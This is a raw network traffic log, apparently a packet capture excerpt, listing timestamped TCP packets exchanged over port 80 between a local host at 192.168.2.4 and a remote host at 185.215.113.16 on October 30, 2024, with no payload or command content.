Oct 30, 2024 12:36:35.793761969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793791056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793824911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793848991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793863058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793883085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793943882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793958902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793972015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793987036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793991089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794023037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794070005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794086933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794101954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794116974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794126987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794135094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794136047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794151068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794178963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794181108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794194937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794212103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794244051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794270992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794272900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794302940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794318914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794342041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794390917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794404984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794419050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794434071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794437885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794457912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794539928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794555902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794569969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794584036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794586897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794599056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794615030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794615984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794631004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794636965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794646978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794662952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794666052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794704914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794862032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794877052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794892073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794905901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794919968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794934034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794936895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794958115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794958115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794974089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.794981956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.794990063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795005083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795020103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795026064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795034885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795049906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795056105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795074940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795169115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795182943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795202017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795223951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795229912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795242071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795245886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795286894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795325041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795339108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795353889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795392036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795396090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795408010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795423031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795428038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795439959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795463085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795476913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795491934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795535088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795607090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795622110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795635939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795650959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795663118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795666933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795681953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795695066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795701981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795728922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795732975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795748949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795756102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795785904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795810938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795840979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795855999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795890093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.795933962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795948982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795963049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.795970917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796003103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796008110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796021938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796036005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796051025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796063900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796083927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796144962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796160936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796175003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796190977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796199083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796205997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796221972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796231985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796236992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796253920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796258926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796278000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796293020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796314955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796314955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796330929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796341896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796346903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796363115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796367884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796379089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796415091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796602011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796621084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796643972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796658039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796665907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796674013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796684980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796689034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796705961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796714067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796772957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796776056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796792030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796807051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796822071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796838045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796853065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796854973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796868086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796883106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796890974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796902895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796912909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796924114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.796935081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796950102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796963930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796978951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796994925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.796994925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797010899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797013998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797030926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797219992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797235966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797251940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797266006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797276020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797286987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797291040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797307968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797322035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797329903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797355890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797430992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797446012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797461987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797477007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797491074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797496080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797508001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797511101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797523975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797537088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797550917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797560930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797574997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797576904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797591925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797632933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797638893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797653913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797667980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797682047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797684908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797702074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797705889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797715902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797732115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797754049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797774076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797837973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797863960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797878981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797907114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.797941923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797956944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797971964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.797977924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798012972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798027039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798027992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798043966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798059940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798065901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798075914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798091888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798100948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798135996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798181057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798194885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798218012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798232079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798235893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798248053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798264027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798274040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798366070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798381090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798396111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798408985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798410892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798428059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798432112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798444986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798445940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798469067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798485994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798496008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798502922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798517942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798532963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798547029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798551083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798572063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798578978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798588991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798604012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798608065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798630953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798633099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798650026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798665047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798685074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798686028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798702002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798711061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798716068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798732996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798739910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798748016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798774004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798810005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798825979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798841000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798845053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798881054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798911095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798926115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798948050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798963070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798971891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.798979044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.798993111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799029112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799055099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799056053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799072027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799086094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799102068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799110889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799118042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799134016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799148083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799150944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799174070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799185038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799189091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799212933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799227953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799235106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799242020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799263954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799264908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799279928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799288988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799294949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799310923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799319983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799335003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799357891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799371958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799388885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799393892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799410105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799412966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799423933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799438953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799438953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799460888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799474001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799490929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799515009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799609900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799660921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799721956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799736977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799758911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799772978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799787998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799794912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799804926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799817085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799820900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799834967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799853086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799860954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.799869061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.799880028 CET	49744	80	192.168.2.4	185.215.113.16
